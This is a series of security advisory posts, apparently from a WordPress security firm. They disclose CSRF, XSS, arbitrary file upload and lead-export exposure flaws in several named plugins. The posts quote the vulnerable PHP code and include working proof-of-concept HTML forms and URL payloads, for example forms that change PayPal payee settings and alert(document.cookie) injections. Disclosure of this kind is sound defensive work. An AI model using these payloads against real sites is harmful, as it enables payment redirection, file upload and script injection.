27 Jun

Cross-Site Request Forgery (CSRF)/Settings Change Vulnerability in Salon booking system

Recently while looking into something else we noticed the plugin Salon booking system has a cross-site request forgery (CSRF) vulnerability in its code to save the plugin’s settings, which could be used to change the PayPal account that payments through the plugin are sent.

The issue is due to the code that handle saving changes to the settings failing check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seemed to be aware of CSRF, but hasn’t properly implemented the protection. That lack of check occurs in the function show() and then the function for the particular settings, both located in the file /src/SLN/Admin/Settings.php

We notified the developer of the issue a week ago, we got an automated response that they would get back to us within 24 hours, but we have yet to hear back from them and the vulnerability hasn’t been fixed.

Proof of Concept

The following proof of concept will cause the PayPal account that payments go to, to be changed to test@example.com, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=salon-settings&tab=payments" method="POST">
<input type="hidden" name="salon_settings[pay_enabled]" value="1" />
<input type="hidden" name="salon_settings[pay_method]" value="paypal" />
<input type="hidden" name="salon_settings[pay_paypal_email]" value="test@example.com" />
<input type="submit" name="submit" value="Update Settings" />
</form>
</body>
</html>

Timeline

  • June 20, 2017 – Developer notified.
26 Jun

Information Disclosure Vulnerability in UpiCRM

When it comes to areas where there is lot of room for better security in WordPress plugins, two that come to mind are the security of plugins that handle business related task and the security of personal information stored in plugins. Those came together in a vulnerability we happened to run run across in the plugin UpiCRM while looking into the possibility of a different vulnerability.

The plugin features the ability export lead information (names, email addresses, phone numbers, etc) to a file. When that occurs the file is saved to the directory /wp-content/uploads/upicrm/ with the name leads.csv or leads.xlsx depending on the format requested. Access to files in the directory is not restricted, so anyone can later request the files at that location and will be served them if an export was previously done that generated them.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

  1. Visit the Exports page and click “Export all leads data to Excel”.
  2. Log out of WordPress.
  3. Now when requesting the URL http://[path to WordPress]/wp-content/uploads/upicrm/leads.xlsx (make sure to replace “[path to WordPress]” with the location of WordPress) you will be served the export.

Timeline

  • June 19, 2017 – Developer notified.
26 Jun

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Newsletters

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. Seeing as arbitrary file upload vulnerabilities are at the top in terms of exploits that seems like one area where it might make sense to focus on, while looking over just several days worth of plugin changes we ran across a related, though much less concerning vulnerability. That being a cross-site request forgery (CSRF)/arbitrary file upload vulnerability in the plugin Newsletters, which would be unlikely to be targeted on a wide scale, but might be used in a targeted attack.

The vulnerability is caused by two security failures.

First, when saving the plugin’s settings the plugin doesn’t check to make sure that valid nonce is included with the request. That could allow an attacker that could get a logged in Administrator to visit a page they control, to change the settings. The form that is submitted actually contains a nonce, so the developer seems to be aware of CSRF, but hasn’t properly implemented the protection.

Second, one of the settings that gets saved is a “Tracking Image/Logo”. While that name would indicate that some sort of image should be uploaded the code, shown below, has no restriction on what can be uploaded (/wp-mailinglist.php):

8201
8202
8203
8204
8205
8206
8207
8208
8209
8210
8211
8212
8213
8214
8215
8216
8217
8218
8219
8220
8221
8222
8223
8224
8225
8226
8227
if (!empty($_FILES)) {
	foreach ($_FILES as $fkey =&gt; $fval) {
		switch ($fkey) {
			case 'tracking_image_file'			:
				$tracking_image_file = $this -&gt; get_option('tracking_image_file');
 
				if (!empty($_POST['tracking']) &amp;&amp; $_POST['tracking'] == "Y" &amp;&amp; !empty($_POST['tracking_image']) &amp;&amp; $_POST['tracking_image'] == "custom") {
					if (!empty($_FILES['tracking_image_file']['name'])) {
						$tracking_image_file = $_FILES['tracking_image_file']['name'];
						$tracking_image_path = $Html -&gt; uploads_path() . DS . $this -&gt; plugin_name . DS;
						$tracking_image_full = $tracking_image_path . $tracking_image_file;
 
						if (move_uploaded_file($_FILES['tracking_image_file']['tmp_name'], $tracking_image_full)) {
							$this -&gt; update_option('tracking_image_file', $tracking_image_file);
						} else {
							$this -&gt; render_error(__('Tracking image file could not be moved from /tmp', 'wp-mailinglist'));
						}
					} else {
						if (empty($tracking_image_file)) {
							$this -&gt; render_error(__('No image was specified', 'wp-mailinglist'));
						}
					}
				}
				break;
		}
	}
}

By default the setting’s page is only accessible to Administrators, but the plugin provides the option of making the settings page available to lower level users as well, so in those cases lower level users also could exploit the arbitrary file upload portion of this without CSRF coming in to play.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/newsletters-lite/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=newsletters-settings" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tracking" value="Y" />
<input type="hidden" name="tracking_image" value="custom" />
<input type="file" name="tracking_image_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 19, 2017 – Developer notified.
22 Jun

Reflected Cross-Site Scripting (XSS) Vulnerability in Product Catalog

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. In doing one of the preliminary checks we immediately came across a reflected cross-site scripting (XSS) vulnerability that exists in the plugin Product Catalog that has existed since its first version was released nearly four years ago.

Contrary the scaremongering we have seen from other web security companies this type of vulnerability isn’t a major concern as we don’t see hackers trying to exploit it on a large scale and all major web browsers other than Firefox have filtering that would need to be evaded to make it work. At the same this type of vulnerability shouldn’t be remaining in a plugin that long as it involves a failure of security at a fairly basic level and in the form it was here, easy to detect.

The vulnerability occurs in the file /html/CatalogueDetails.php on line 44:

<form id="nav-menu-meta" action="admin.php?page=UPCP-options&Action=UPCP_Catalogue_Details&Selected=Catalogue&Catalogue_ID=<?php echo $_GET['Catalogue_ID']; ?>#Catalogues" class="nav-menu-meta" method="post" enctype="multipart/form-data">

The value of GET input “Catalogue_ID” is output without being escaped, which could permit malicious JavaScript on to the page.

We notified the developer of the issue a week ago, we haven’t heard back from them and while the plugins has been updated since then, the vulnerability hasn’t been fixed.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=UPCP-options&Action=UPCP_Catalogue_Details&Selected=Catalogue&Catalogue_ID=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E

Timeline

  • June 15, 2017 – Developer notified.
22 Jun

Reflected Cross-Site Scripting (XSS) Vulnerability in uCare

We recently have been trying to get an idea of how effective it would be to try to proactively catch some vulnerabilities when changes are made to WordPress plugins that include those vulnerabilities. During that preliminary checking we found that the plugin uCare contains a reflected cross-site scripting (XSS) vulnerability.

The vulnerability is an example of where one of things we check for during our security reviews of WordPress plugins selected by our customers, making sure that code is included to restrict direct access to .php files that are not intended to accessed, can be useful.

When deactivating the plugin and choosing to provide feedback the file /emails/product-feedback.php in included to generate the feedback message. That file can be accessed directly.

When accessed as intended the use of output buffering causes the content output by the file to not be displayed in the web browser. But when accessed directly that doesn’t occur and several post inputs are output without being escaped. As an example, on line 6 the POST input “reason” is output:

<p style="margin-left: 20px"><?php echo $_POST['reason']; ?></p>

That could be used to cause malicious JavaScript code to output on to the page.

We contacted the developer of the plugin about the issue a week ago, but we have not heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/ucare-support-system/emails/product-feedback.php" method="POST">
<input type="hidden" name="reason" value='<script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 15, 2017 – Developer notified.
  • June 27, 2017 – Version 1.3.0 released, which fixes vulnerability.
19 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Multi Feed Reader

Recently a report was released claiming that a SQL injection vulnerability had been fixed in the latest version of the plugin Multi Feed Reader. In checking into that we found that while the change made in that version improved security, it looked like there may not have actually been a vulnerability in the code before. While looking in to that report we found that the plugin does have a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s admin page.

The CSRF portion is due to a lack on nonce included in the form submitted to create or edit one of the plugin’s feedcollections.

As example of the XSS portion, when creating a new feedcolleciton the name of it is specified by the POST input “mfr_new_feedcollection_name” and is not sanitized (/mfrsettings.php):

74
75
76
77
78
79
80
81
// CREATE action
} elseif ( isset( $_POST[ 'mfr_new_feedcollection_name' ] ) ) {
	$name = $_POST[ 'mfr_new_feedcollection_name' ];
	$existing = FeedCollection::find_one_by_name( $name );
 
	if ( ! $existing ) {
		$fc = new FeedCollection();
		$fc-&gt;name = $name;

The name is output without being escaped in a number of locations including line 393 of the same file:

<input type="text" name="feedcollection[name]" value="<?php echo $current->name ?>" class="large-text">

We notified the developer of the plugin about the vulnerability and asked if they were provided any information on how the claimed SQL injection could have been exploited, we have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=multi_feed_reader_handle&tab=edit when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=multi_feed_reader_handle" method="POST">
<input type="hidden" name="mfr_new_feedcollection_name" value="'><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 12, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Buy Now Button

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Buy Now Button plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /wp-ecommerce-paypal.php):

216
217
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

221
$options['liveaccount'] = 		$_POST['liveaccount'];
230
update_option("wpecpp_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

238
239
$options = get_option('wpecpp_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=wp-ecommerce-setting, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=wp-ecommerce-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Easy PayPal Gift Certificate

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the Easy PayPal Gift Certificate plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

273
274
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

278
$options['liveaccount'] = $_POST['liveaccount'];
296
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

304
305
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=hugeit_forms_custom_scripts, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=paypal-gift-certificate-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Shopping Cart

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Shopping Cart plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

269
270
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

274
$options['liveaccount'] = $_POST['liveaccount'];
286
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

294
295
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=easy-paypal-shopping-cart, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-shopping-cart" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF) Vulnerability in PayPal Digital Downloads

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Digital Downloads plugin contains the same vulnerability.

The issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /paypal-digital-downloads.php):

254
255
// save and update options
if (isset($_POST['update'])) {

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the PayPal API Username that payments go to, to be changed to test, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-digital-download" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="api_username" value="test" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.